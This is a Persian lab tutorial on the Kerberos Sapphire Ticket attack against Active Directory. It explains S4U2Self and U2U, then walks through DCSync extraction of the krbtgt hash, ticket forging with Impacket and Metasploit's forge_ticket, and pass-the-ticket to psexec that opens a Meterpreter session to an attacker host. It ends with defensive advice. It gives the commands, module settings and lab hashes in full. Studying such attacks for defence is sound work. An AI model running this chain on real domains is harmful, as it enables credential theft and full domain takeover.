حمله‌ی Sapphire Ticket بهره‌برداری مخرب از سازوکار اعتماد در پروتکل احراز هویت Kerberos

حملات Sapphire Ticket شکلی پیشرفته از بهره‌برداری از پروتکل Kerberos در محیط‌های Active Directory به‌شمار می‌روند. با گسترش روزافزون استفاده از Active Directory، مهاجمان نیز به‌طور مداوم در حال تکامل روش‌های خود برای دور زدن سامانه‌های احراز هویت هستند. به‌عنوان نمونه، در تحولات اخیر این حوزه، حملات Diamond Ticket و Sapphire Ticket معرفی شده‌اند که هر یک امکان دسترسی غیرمجاز به منابع محافظت‌شده در دامنه‌های Active Directory را برای مهاجمان فراهم می‌کنند.

در مقایسه، Sapphire Tickets نسخه‌ی تکامل‌یافته‌ای از Diamond Ticket هستند، با این تفاوت که به‌مراتب پنهان‌کارانه‌تر عمل می‌کنند. این بلیت‌ها در ظاهر کاملاً معتبر هستند؛ با این حال، در حالی‌که در حمله‌ی Diamond Ticket، بخش PAC (Privilege Attribute Certificate) دستکاری می‌شود، در حمله‌ی Sapphire Tickets ، این بخش به‌طور کامل با PAC یک کاربر دارای امتیاز بالا جایگزین می‌گردد.

در این مقاله، به‌صورت عمیق به سازوکار حملات Sapphire Tickets خواهیم پرداخت.

فهرست مطالب

  1. Sapphire Ticket
  2. اصطلاحات فنی
  3. پیاده‌سازی آزمایشگاه (Lab Setup)
  4. مرحله‌ی بهره‌برداری – حمله‌ی Sapphire Ticket
  5. روش‌های بهره‌برداری
    • Impacket
    • nxc
    • Metasploit
  6. جمع‌بندی

مقدمه

Sapphire Ticket عملکردی مشابه Diamond Ticket دارد؛ به این معنا که یک بلیت TGT معتبر به‌دست می‌آورد و سپس داده‌های موجود در PAC آن را در یک بلیت جعلی کپی می‌کند.

با این حال، تفاوت کلیدی در یک مرحله‌ی اضافی نهفته است: در حمله‌ی Sapphire Ticket ، مهاجم به جای استفاده از PAC به‌دست‌آمده از فرآیند احراز هویت اولیه، فرآیندی مجزا را برای دستیابی به PAC یک کاربر دیگر—که معمولاً دارای سطح دسترسی بالاتری است—انجام می‌دهد.

این فرایند شامل مراحل زیر است:

  1. احراز هویت با KDC
    مهاجم با بهره‌گیری از افزونه‌های S4U2Self و U2U، یک Ticket Granting Service (TGS) برای کاربری با سطح دسترسی بالا درخواست می‌کند. در نتیجه، سیستم یک PAC (Privilege Attribute Certificate) تولید می‌کند که داده‌های مربوط به سطح دسترسی کاربر واقعی را بازتاب می‌دهد؛ اگرچه بلیت حاصل مستقیماً در زمینه‌های دارای دسترسی بالا قابل استفاده نیست.
  2. رمزگشایی داده‌های PAC
  3. دست‌کاری PAC جعل‌شده به‌گونه‌ای که با ویژگی‌های TGT معتبر مطابقت داشته باشد
  4. رمزنگاری بلیت جعل‌شده با استفاده از هش krbtgt

مشابه بلیت‌های Golden و Diamond، مهاجمان برای ساخت یک بلیت Sapphire نیز باید به هش حساب krbtgt دامنه دسترسی داشته باشند. با این حال، برخلاف آن نوع بلیت‌ها، در این حمله نیازی به در اختیار داشتن DOMAIN_SID و DOMAIN_RID نیست؛ چراکه این اطلاعات مستقیماً از TGT معتبری که استخراج شده است، بازیابی می‌شوند.

اصطلاحات فنی کلیدی

  1. Kerberos
    یک پروتکل احراز هویت شبکه‌ای که به‌طور گسترده در محیط‌های Active Directory مایکروسافت استفاده می‌شود. Kerberos از بلیت‌ها برای احراز هویت و ارائه دسترسی به منابع استفاده می‌کند.
  2. KDC (Key Distribution Center)
    مرکز توزیع کلید، یکی از اجزای اصلی Kerberos که وظیفه احراز هویت کاربران و صدور بلیت‌ها را بر عهده دارد. از دو جزء اصلی تشکیل شده است: AS (Authentication Service) و TGS (Ticket Granting Service).
  3. TGT (Ticket Granting Ticket)
    بلیتی که پس از احراز هویت اولیه صادر می‌شود و برای درخواست سایر بلیت‌های سرویس (TGS) استفاده می‌شود.
  4. TGS (Ticket Granting Service)
    بخشی از KDC که بلیت‌های دسترسی به سرویس‌های شبکه را صادر می‌کند، معمولاً با استفاده از TGT ارائه‌شده توسط کاربر.
  5. krbtgt account/hash
    حساب سرویس Kerberos در دامین کنترلر که برای رمزنگاری و امضای بلیت‌های صادرشده استفاده می‌شود. هش این حساب (krbtgt hash) یکی از کلیدی‌ترین اهداف مهاجمان در حملات Kerberos است.
  6. Golden Ticket
    نوعی حمله در Kerberos که در آن مهاجم با دسترسی به krbtgt hash می‌تواند TGT جعلی ایجاد کند و دسترسی نامحدود به منابع دامنه به‌دست آورد.
  7. Diamond Ticket
    نوعی حمله پیشرفته‌تر از Golden Ticket که به مهاجم اجازه می‌دهد PAC را به صورت دلخواه بسازد و در TGS گنجانده شود، حتی بدون استفاده از SID/RID کاربر واقعی.
  8. Sapphire Ticket
    گونه‌ای از حمله مشابه با Golden و Diamond Ticket، اما با قابلیت استخراج اطلاعات ضروری (مانند SID و RID) از یک TGT معتبر، که موجب کاهش وابستگی به اطلاعات خارجی می‌شود.
  9. PAC (Privilege Attribute Certificate)
    ساختاری درون بلیت Kerberos که شامل اطلاعاتی درباره مجوزها، گروه‌های امنیتی و سایر ویژگی‌های کاربر است. هدف اصلی بسیاری از حملات جعل بلیت، تغییر PAC است.
  10. SID (Security Identifier)
    شناسه منحصربه‌فردی که برای هر کاربر، گروه یا حساب سرویس در دامنه تعریف می‌شود. نمونه‌ای از SID: S-1-5-21-3623811015-3361044348-30300820-1013.
  11. RID (Relative Identifier)
    بخش پایانی SID که شناسه خاص یک کاربر یا گروه در داخل دامنه را مشخص می‌کند. به عنوان مثال، در SID فوق، عدد ۱۰۱۳ یک RID است.
  12. S4U2Self (Service for User to Self)
    افزونه‌ای در Kerberos که به یک سرویس اجازه می‌دهد از طرف یک کاربر درخواست احراز هویت کند، بدون نیاز به داشتن رمز عبور کاربر.
  13. U2U (User to User)
    قابلیتی در Kerberos که امکان تعامل مستقیم بین دو حساب کاربری را فراهم می‌کند، مثلاً زمانی که یک سرویس نیاز به استفاده از کلید کاربر گیرنده دارد.

افزونه‌ی S4U2Self در پروتکل Kerberos این امکان را فراهم می‌سازد که یک سرویس، به نمایندگی از یک کاربر، برای خودش بلیت سرویس (Service Ticket) درخواست کند. این بلیت شامل داده‌های مجوزدهی کاربر است—یعنی گواهی ویژگی‌های دسترسی (Privilege Attribute Certificate یا PAC)—که سیستم از آن برای تصمیم‌گیری در کنترل دسترسی استفاده می‌کند.

برای بهره‌گیری از S4U2Self، کاربر درخواست‌کننده باید حداقل دارای یک نام اصلی سرویس (Service Principal Name یا SPN) ثبت‌شده باشد. این SPN به کنترل‌کننده دامنه (Domain Controller یا DC) اجازه می‌دهد تا بلیت سرویس تولیدشده را با کلید مخفی سرویس مربوطه رمزنگاری کند.

جریان درخواست بلیت در S4U2Self

  1. سرویس، ساختار داده‌ای PA_FOR_USER را ایجاد می‌کند و در آن، کاربری را که قصد دارد به‌جای او عمل کند مشخص می‌نماید.
  2. سپس یک پیام KRB_TGS_REQ به سرویس صدور بلیت (Ticket Granting Service یا TGS) ارسال می‌کند.
  3. در پاسخ، TGS یک بلیت سرویس حاوی PAC مربوط به کاربر هدف صادر می‌کند که برای سرویس درخواست‌کننده رمزنگاری شده است.

U2U (احراز هویت کاربر به کاربر)

احراز هویت کاربر به کاربر (User-to-User یا U2U) مکانیزمی در پروتکل Kerberos است که به یک کاربر (کلاینت) اجازه می‌دهد بلیتی درخواست کند که با کلید نشست (Session Key) مربوط به TGT کاربر دیگری رمزنگاری شده باشد—معمولاً در شرایطی که سرویس‌دهنده خود یک کاربر است و کلید بلندمدت ندارد (مانند سیستم‌های رومیزی).

ویژگی‌های درخواست بلیت در U2U

additional-tickets: شامل TGT مربوط به کاربری است که نقش سرور را ایفا می‌کند.

ENC-TKT-IN-SKEY: به KDC دستور می‌دهد بلیت سرویس را با کلید نشست موجود در بلیت اضافی (additional ticket) رمزنگاری کند.

sname field (نام سرویس): می‌تواند به جای یک سرویس سنتی با SPN، به حساب کاربری اشاره کند.

این ویژگی‌ها به یک کاربر (مثلاً کاربر B) اجازه می‌دهد با امنیت کامل به کاربر دیگر (کاربر A) احراز هویت کند، حتی در حالتی که کاربر A فاقد کلید مخفی دائمی باشد.

مثال از جریان U2U

  1. کاربر A (در نقش سرور) TGT خود را در اختیار کاربر B قرار می‌دهد.
  2. کاربر B یک پیام KRB_TGS_REQ به KDC ارسال می‌کند که شامل TGT هر دو کاربر (A و B) است.
  3. KDC یک کلید نشست جدید تولید می‌کند و آن را به دو صورت رمزنگاری می‌کند:
    • یک بار با کلید نشست کاربر A
    • یک بار با کلید نشست کاربر B
  4. هر کاربر قسمت مربوط به خود را رمزگشایی می‌کند، و در نتیجه هر دو به یک کلید نشست مشترک دست می‌یابند که برای ارتباط امن بین‌شان استفاده می‌شود.

این فرآیند باعث می‌شود که نیازی به نگهداری کلید دائمی در سمت کاربر A نباشد، و در نتیجه اجرای سرویس از نقاط انتهایی کم‌امنیت‌تر (مانند دسکتاپ‌ها) ایمن‌تر شود.

جزئیات فنی (Technical Details)

بلیت‌های Sapphire از ترکیب دو افزونه Kerberos یعنی S4U2Self و U2U بهره می‌برند تا محدودیت‌های سنتی مربوط به وجود SPN را دور بزنند.

روند عملکرد به این صورت است:

  1. مهاجم از S4U2Self برای درخواست یک بلیت سرویس (TGS) به نمایندگی از یک کاربر سطح‌بالا استفاده می‌کند. این درخواست شامل PAC کاربر هدف خواهد بود.
  2. به جای اتکا به یک کلید سرویس بلندمدت (که در حالت عادی با SPN شناسایی می‌شود)، از قابلیت U2U استفاده می‌شود تا بلیت با استفاده از کلید نشست کاربر “سرور” رمزنگاری شود.
  3. در نتیجه، بلیت حاصله دارای داده‌های معتبر PAC است، ولی رمزنگاری آن با کلید نشست موقتی انجام شده—نه یک کلید سرویس دائمی.
  4. این ترکیب به مهاجم اجازه می‌دهد به یک بلیت معتبر با اطلاعات سطح دسترسی بالا دست یابد، بدون نیاز به داشتن SPN یا کلید بلندمدت سرویس.

خلاصه

افزونه S4U2Self به یک سرویس اجازه می‌دهد به نمایندگی از یک کاربر، بلیت دریافت کند. در همین حال، U2U این امکان را فراهم می‌سازد که این فرآیند بدون نیاز به کلید بلندمدت سرویس انجام شود.

ترکیب این دو، روشی قدرتمند برای جعل هویت کاربران و دست‌کاری بلیت‌های Kerberos فراهم می‌آورد.

تفاوت بین حمله Diamond Ticket و Sapphire Ticket

هر دو حمله شامل دست‌کاری در ساختار PAC مربوط به یک TGT معتبر هستند؛ اما تفاوت اصلی در نحوه‌ی تغییر این PAC نهفته است.

  • در حمله Diamond Ticket، مهاجم PAC اصلی بلیت TGT درخواست‌شده را تغییر می‌دهد—این تغییر ممکن است با افزودن امتیازات اضافی یا بازنویسی کامل ساختار PAC همراه باشد.
  • در مقابل، در حمله Sapphire Ticket، مهاجم با استفاده از تفویض اختیار Kerberos (Kerberos Delegation) موفق به دریافت یک PAC معتبر مربوط به کاربری با سطح دسترسی بالا می‌شود و سپس این PAC را جایگزین PAC اصلی بلیت TGT خود می‌نماید.

به‌عبارت دیگر، در Diamond Ticket، PAC تولیدشده جعلی است؛ در حالی که در Sapphire Ticket، PAC از یک بلیت قانونی استخراج و مجدداً استفاده می‌شود.

راه‌اندازی آزمایشگاه

برای اجرای این حمله، دو حساب کاربری با دسترسی‌های متفاوت در کنترل‌کننده دامنه (Domain Controller) ایجاد می‌کنیم: حساب admin1 با سطح دسترسی Domain Admin و حساب rudra با سطح دسترسی استاندارد (Standard User).
برای انجام این مرحله، وارد کنترل‌کننده دامنه شده و از طریق خط فرمان (Command Prompt) دستور زیر را اجرا می‌کنیم:

net user rudra Password@1 /add /domain

net user admin1 Password@1 /add /domain
net group “Domain Admins” admin1 /add /domain

پس از اجرای دستور، لازم است بررسی کنیم که آیا کاربر admin1 واقعاً عضو گروه Domain Admins شده است یا خیر.
برای این منظور، به مسیر زیر در ابزار Active Directory Users and Computers مراجعه می‌کنیم:
Users → دوبار کلیک روی حساب کاربری مورد نظر (در اینجا admin1) → تب Member Of.
در این بخش، باید گروه Domain Admins را مطابق با تصویر زیر مشاهده کنید:

مرحله بهره‌برداری حمله Sapphire Ticket

همان‌طور که در بخش‌های پیشین توضیح داده شد، برای اجرای این حمله، مهاجم باید به هش حساب کاربری KRBTGT دسترسی پیدا کند.
به‌عنوان مثال، در یک سناریوی فرضیِ نفوذ، فرض می‌کنیم مهاجم موفق به دسترسی به اطلاعات احراز هویت یک حساب کاربری دارای سطح دسترسی بالا با نام admin1-User شده است.
در نتیجه، مهاجم با سوءاستفاده از این سطح دسترسی، تلاش می‌کند حمله‌ای از نوع DCSync انجام داده و هش مربوط به حساب KRBTGT را استخراج کند.

استخراج هش حساب KRBTGT و شناسه دامنه (Domain SID)

impacket-secretsdump 'ignite.local/admin1:Password@1@ignite.local -just-dc-user krbtgt

تصویر زیر هش‌های NTLM و AES مربوط به حساب سرویس KRBTGT را نمایش می‌دهد.

در گام بعد، شناسه امنیتی (SID) مربوط به کاربر admin1 را استخراج می‌کنیم.

nxc ldap 192.168.1.48 -u admin1 -p Password@1 --get-sid

تولید بلیط جعلی TGS و ساختار PAC دست‌کاری‌شده

در این مرحله، مهاجم یک بلیط سرویس (TGS) جعلی برای کاربر admin1 تولید می‌کند که دارای امتیازات ارتقاءیافته (Elevated Privileges) و امضای معتبر است. این بلیط جعلی می‌تواند سازوکارهای شناسایی مانند اعتبارسنجی PAC توسط کنترل‌کننده دامنه (Domain Controller) را دور بزند.

impacket-ticketer -request -impersonate admin1 -domain ignite.local -user rudra -password Password@1 -nthash 761688de884aff3372f8b9c53b2993c7 -aeskey '8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb' -domain-sid S-1-5-21-798084426-3415456680-3274829403 baduser

’domain ‘ignite.local- :  مشخص‌کننده دامنه هدف جهت اجرای حمله است.

’user ‘admin1- :  نام کاربری که بلیط جعلی برای آن تولید می‌شود.

’password ‘Password@1- :  رمز عبور کاربر، که برای استخراج کلیدهای رمزنگاری جهت تولید PAC یا بلیط استفاده می‌شود (اگرچه استفاده از رمز عبور در حملات Silver Ticket مرسوم نیست).

nthash and -aesKey- : این مقادیر متعلق به حساب KRBTGT هستند و در حملات Diamond Ticket مورد نیازند. از این کلیدها برای امضای رمزنگاری‌شده و اعتبارسنجی بلیط جعلی سرویس استفاده می‌شود.

domain-sid ‘S-1-5-21-798084426-3415456680-3274829403’- : شناسه امنیتی دامنه (SID) برای ساخت PAC ضروری است و شامل اطلاعاتی نظیر سطوح دسترسی کاربر و عضویت در گروه‌ها می‌باشد.

Admin1:  مشخص‌کننده Service Principal Name (SPN) یا نام کاربری‌ای است که مهاجم قصد جعل هویت آن را دارد، تا به‌عنوان کاربری با نام “baduser” به سرویس‌ها دسترسی یابد.

Pass-the-Ticket

در این مرحله، با استفاده از متغیر محیطی زیر، به سیستم اعلام می‌شود که برای احراز هویت از یک فایل کش اعتبارنامه Kerberos خاص (با نام baduser.ccache) استفاده کند:

export KRB5CCNAME=baduser.ccache

این روش به مهاجم اجازه می‌دهد بدون نیاز به وارد کردن رمز عبور، از بلیط Kerberos جعلی برای دسترسی به سرویس‌ها استفاده کند.

فایل baduser.ccache شامل بلیط‌های Kerberos مربوط به کاربری با نام baduser است که به‌احتمال زیاد شامل بلیط سرویس (TGS) برای منبع هدف نیز می‌باشد.

از این فایل می‌توان برای احراز هویت و دسترسی به سرویس، به‌عنوان کاربر baduser استفاده کرد؛ بدون نیاز به وارد کردن اطلاعات احراز هویت واقعی.

export KRB5CCNAME=baduser.ccache
impacket-psexec ignite.local/admin1@dc.ignite.local -dc-ip 192.168.1.48 -target-ip 192.168.1.48 -k -no-pass

impacket-psexec

ابزاری از مجموعه Impacket است که از پروتکل SMB (Server Message Block) برای اجرای دستورات به‌صورت راه‌دور بر روی سیستم‌های ویندوزی استفاده می‌کند.
این ابزار امکان اجرای دستورات با سطح دسترسی بالا را از طریق احراز هویت Kerberos یا NTLM فراهم می‌سازد و اغلب در سناریوهای Post-Exploitation و حملات مبتنی بر Pass-the-Ticket مورد استفاده قرار می‌گیرد.

تحلیل نام اصلی Kerberos (Kerberos Principal Name)

ignite.local/baduser@dc.ignite.local
این رشته نمایانگر یک نام اصلی Kerberos (Kerberos Principal Name) در قالب user@realm است که برای احراز هویت در محیط Kerberos مورد استفاده قرار می‌گیرد.

اجزای این نام به‌صورت زیر تفسیر می‌شوند:

  • ignite.local: نام دامنه (Domain) در محیط Active Directory است که کاربر به آن تعلق دارد.
  • baduser: نام کاربری (Username) است که فرآیند احراز هویت را آغاز می‌کند.
  • dc.ignite.local: نام میزبان (Hostname) مربوط به کنترل‌کننده دامنه (Domain Controller) است که درخواست احراز هویت به آن ارسال شده است.

پارامتر -dc-ip 192.168.1.48

این پارامتر، آدرس IP کنترل‌کننده دامنه (Domain Controller) را مشخص می‌کند. در این مثال، مقدار ۱۹۲٫۱۶۸٫۱٫۴۸ به عنوان مقصد درخواست‌های Kerberos و سایر تعاملات مربوط به احراز هویت در نظر گرفته شده است.

پارامتر -target-ip 192.168.1.48

این پارامتر آدرس IP سامانه هدف (Target System) را مشخص می‌کند؛ یعنی سیستمی که فرمان یا عملیات مدنظر قرار است روی آن اجرا شود.
در این مثال، آدرس IP برابر با ۱۹۲٫۱۶۸٫۱٫۴۸ است که همان کنترل‌کننده دامنه (Domain Controller) نیز می‌باشد

پارامتر -k

این گزینه مشخص می‌کند که احراز هویت Kerberos به جای NTLM مورد استفاده قرار گیرد.
با فعال‌سازی این پارامتر، ابزار مربوطه بلیت‌های Kerberos مورد نیاز را از حافظه کش مشخص‌شده در متغیر محیطی KRB5CCNAME بازیابی می‌کند و از آن‌ها برای احراز هویت استفاده می‌نماید.

پارامتر no-pass

این گزینه به ابزار اعلام می‌کند که نیازی به وارد کردن گذرواژه نیست، زیرا فرآیند احراز هویت از طریق بلیت‌های Kerberos ذخیره‌شده در کش (Credential Cache) انجام خواهد شد.
استفاده از این پارامتر در سناریوهایی رایج است که بلیت‌ها از پیش دریافت شده‌اند (مثلاً از طریق kinit یا ابزارهای مشابه) و کاربر قصد دارد بدون تعامل تعاملی (non-interactive) عملیات را اجرا کند.

Metasploit

این تکنیک در Metasploit امکان استخراج هش‌های SAM، رازهای LSA و همچنین اعتبارنامه‌های کش‌شده (Cached Credentials) را از سیستم‌عامل ویندوزی هدف فراهم می‌سازد—آن هم بدون نیاز به اجرای هیچ عامل (Agent) یا کد مخرب به‌صورت محلی بر روی ماشین هدف.

نحوه عملکرد:

این روش با به‌روزرسانی از راه دور توصیف‌گر امنیتی کلید رجیستری (Registry Key Security Descriptor) انجام می‌شود.
مهاجم از سطح دسترسی WriteDACL که به‌طور پیش‌فرض توسط اعضای گروه Local Administrators در اختیار است، سوءاستفاده می‌کند تا به‌صورت موقت دسترسی خواندن (Read Access) برای خود ایجاد نماید.

به این ترتیب، ابزار بدون نیاز به اجرای کد در سیستم هدف می‌تواند فایل‌های حساس مانند:

  • SAM (Security Accounts Manager)
  • SYSTEM
  • SECURITY

را خوانده و اطلاعات مربوط به کاربران، رمزهای عبور هش‌شده، کلیدهای رمزنگاری و سایر داده‌های مهم را استخراج کند.

شرح دقیق به‌صورت زیر ارائه می‌شود:

پیکربندی هدف (Target Setup)

در این بخش، مقادیر مورد استفاده برای اجرای حمله یا بهره‌برداری در برابر کنترل‌کننده دامنه مشخص شده‌اند:

RHOST = 192.168.1.48 : آدرس IP ماشین هدف — در اینجا، کنترل‌کننده دامنه (Domain Controller) است.

SMBDOMAIN = ignite.local  : نام دامنه‌ای که سیستم هدف به آن تعلق دارد.

SMBUSER = admin1 : نام کاربری با دسترسی بالا برای احراز هویت SMB.

SMBPASS  = Password@1 : گذرواژه کاربر فوق. (در محیط‌های واقعی، به‌شدت توصیه می‌شود از vault امن استفاده شود.)

KRB_USERS = krbtgt : کاربر ویژه Kerberos برای صدور بلیت‌های احراز هویت (TGT).

ACTION = DOMAIN : مشخص می‌کند که هدف، استخراج اسرار دامنه (Domain Secrets) است.

اجرای ماژول:

ماژول اجرا می‌شود و اطلاعات محرمانه (secrets) با بهره‌گیری از روش DRSUAPI استخراج می‌گردد. این روش یکی از تکنیک‌های رایج برای دستیابی به داده‌های موجود در فایل NTDS.DIT محسوب می‌شود؛ فایلی که حاوی اطلاعات حساس مربوط به دایرکتوری فعال (Active Directory) از جمله هش گذرواژه‌ها می‌باشد.

برجسته‌ترین خروجی‌ها:

  • هش NTLM مربوط به حساب کاربری krbtgt:

۷۶۱۶۸۸de884aff3372f8b9c53b2993c7

کلید رمزنگاری AES مربوط به krbtgt (مورد استفاده در Kerberos):

۸e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb

این داده‌ها از اهمیت بالایی برخوردارند، زیرا کلیدهای KRBTGT برای امضای بلیت‌های معتبر Kerberos استفاده می‌شوند و بنابراین نقش کلیدی در فرآیند جعل بلیت (Ticket Forging) ایفا می‌کنند.

use gather/windows_secrets_dump
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set SMBUSER admin1
set SMBPASS Password@1
set ACTION DOMAIN
set KRB_USERS KRBTGT
run

متااسپلویت: جعل Ticket (حمله Sapphire Ticket)

این ماژول به‌صورت فعال اقدام به جعل یک Ticket مربوط به Kerberos می‌کند و در این فرآیند از چهار تکنیک متمایز استفاده می‌نماید:

در روش Silver Ticket، مهاجم با استفاده از هش مربوط به حساب کاربری یک سرویس، Ticketی جعلی ایجاد می‌کند که به واسطه آن می‌تواند خود را به‌عنوان هر کاربری معرفی کرده و به منابع مرتبط با آن سرویس دسترسی پیدا کند.

در روش Golden Ticket، مهاجم از هش حساب krbtgt برای ساخت یک Ticket جعلی بهره می‌برد که اجازه می‌دهد با هر هویتی و با هر سطح دسترسی دلخواه وارد سیستم شود.

تکنیک Diamond Ticket شامل احراز هویت موفق اولیه به کنترل‌کننده دامنه (Domain Controller) و سپس استفاده از هش krbtgt برای کپی کردن اطلاعات PAC (Privilege Attribute Certificate) از کاربر احراز هویت‌شده به داخل یک Ticket جعلی است.

در نهایت، روش Sapphire Ticket از ترکیب دو مکانیزم S4U2Self و U2U برای بازیابی PAC کاربر هدف استفاده می‌کند. سپس مهاجم با تکیه بر هش krbtgt، Ticket جعلی نهایی را ایجاد می‌نماید.

شما در حال استفاده از ماژول forge_ticket در ابزار Metasploit هستید تا یک Kerberos ticket جعلی ایجاد کنید.

تنظیمات کلیدی :

پیکربندی پارامترهای جعل (Forgery Parameters):

  • AES_KEY: کلید AES مربوط به حساب krbtgt که در مرحله قبل استخراج شده است.
  • USER: کاربر مورد جعل (impersonated user)، در اینجا admin1.
  • REQUEST_USER: کاربری که درخواست Ticket را صادر می‌کند، در اینجا rudra.
  • REQUEST_PASSWORD: گذرواژه مربوط به کاربر درخواست‌دهنده، مورد استفاده در فرآیند U2U؛ مقدار: Password@1.
  • DOMAIN: نام دامنه هدف، در اینجا ignite.local.
  • RHOSTS: آدرس IP ماشین هدف؛ مقدار: ۱۹۲٫۱۶۸٫۱٫۴۸٫

اجرای ماژول :

پس از اجرای ماژول، یک پاسخ شامل TGT (Ticket Granting Ticket) و TGS (Ticket Granting Service) دریافت می‌شود.

Ticket تولیدشده در مسیر زیر ذخیره می‌گردد:

/root/.msf4/loot/20250128100342_default_192.168.1.48_mit.kerberos.cca_038047.bin
use admin/kerberos/forge_ticket
set action FORGE_SAPPHIRE
set AES_KEY 8e52115cc36445bc520160f045033d5f40914ce1a6cf59c4c4bc96a51b970dbb
set USER admin1
set DOMAIN ignite.local
set REQUEST_USER rudra
set REQUEST_PASSWORD Password@1
set RHOSTS 192.168.1.48
run

با استفاده از دستور ls، فهرست فایل‌ها در مسیر مربوطه نمایش داده می‌شود. سپس با استفاده از دستور mv، فایل مورد نظر به نام جدید ۱٫bin تغییر نام داده می‌شود. این کار به ساده‌سازی ارجاع به فایل در مراحل بعدی کمک کرده و استفاده مجدد توسط کاربران آتی را تسهیل می‌کند.

این ماژول از نام کاربری و گذرواژه معتبر یک مدیر سیستم (یا هش گذرواژه) برای اجرای یک payload دلخواه استفاده می‌کند. علاوه بر این، این ماژول مشابه ابزار “psexec” ارائه‌شده توسط SysInternals است. همچنین، این ماژول اکنون قابلیت پاک‌سازی خود را پس از اجرا داراست. علاوه بر این، سرویسی که توسط این ابزار ایجاد می‌شود، از یک نام و توضیحات تصادفی انتخاب‌شده استفاده می‌کند.

تنظیمات هدف (Target Setting):

  • RHOST: 192.168.1.48 – آدرس IP ماشین هدف تنظیم می‌شود.
  • SMBDOMAIN: ignite.local – دامنه SMB تنظیم می‌شود.
  • USERNAME: admin1 – نام کاربری تنظیم می‌شود.
  • SMB::AUTH: تنظیم بر روی Kerberos.
  • SMB::KRB5CCNAME: کش بلیت Kerberos که از مسیر /root/.msf4/loot/1.bin ارائه می‌شود.
  • SMB::RHOSTNAME: dc.ignite.local – نام میزبان کنترل‌کننده دامنه (DC) تنظیم می‌شود.
  • DOMAINCONTROLLERHOST: به‌طور صریح به ۱۹۲٫۱۶۸٫۱٫۴۸ تنظیم می‌شود.
  • LHOST: ماشین مهاجم با آدرس ۱۹۲٫۱۶۸٫۱٫۶۰٫

برای اجرای payload و باز کردن یک جلسه Meterpreter، دستور run را وارد کرده و Enter را بزنید.

use exploit/windows/smb/psexec
set RHOSTS 192.168.1.48
set SMBDOMAIN ignite.local
set USERNAME admin1
set SMB::AUTH kerberos
set SMB::KRB5CCNAME /root/.msf4/loot/1.bin
set SMB::RHOSTNAME dc.ignite.local
set DOMAINCONTROLLERRHOST 192.168.1.48
set LHOST 192.168.1.60

نتیجه‌گیری

تکنیک حمله Sapphire Tickets یک روش قدرتمند برای دستکاری در احراز هویت Kerberos است که با ترکیب گسترش‌های پروتکل S4U2Self و User-to-User (U2U) امکان‌پذیر می‌شود. به‌طور خاص، این حمله به مهاجم یا سرویس این امکان را می‌دهد که خود را به‌عنوان یک کاربر معرفی کرده و داده‌های مجوز (PAC) آن کاربر را بدون نیاز به Service Principal Name (SPN) یا کلید سرویس بلندمدت بازیابی کند. پس از بازیابی موفقیت‌آمیز PAC، مهاجم می‌تواند آن را به داخل یک Ticket جعلی تزریق کند. در نتیجه، این حمله می‌تواند منجر به افزایش امتیازات دسترسی (Privilege Escalation) یا حرکت جانبی (Lateral Movement) در دامنه شود.

در نهایت، این تکنیک نشان می‌دهد که چگونه مهاجمین می‌توانند از ویژگی‌های قانونی Kerberos که به‌طور اولیه برای پشتیبانی از واگذاری انعطاف‌پذیر و احراز هویت ایمن همتا به همتا طراحی شده‌اند، سوءاستفاده کنند، زمانی که امنیت دامنه به‌طور صحیح پیکربندی و کنترل نشده باشد. این حمله اهمیت موارد زیر را برجسته می‌کند:

  • نظارت بر رفتار بلیت‌ها و درخواست‌های واگذاری غیرمعمول
  • ایمن‌سازی و ممیزی پیکربندی‌های KCD
  • کاهش استفاده از NTLM و اطمینان از رعایت بهداشت صحیح سرویس پرینسیپال‌ها

در کوتاه‌مدت، حملات Sapphire Tickets باعث تبدیل مکانیزم‌های مبتنی بر اعتماد Kerberos به بردارهای بالقوه حملات پنهانی می‌شوند که آگاهی و شناسایی آن‌ها را در محیط‌های Active Directory مدرن ضروری می‌سازد.

 

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا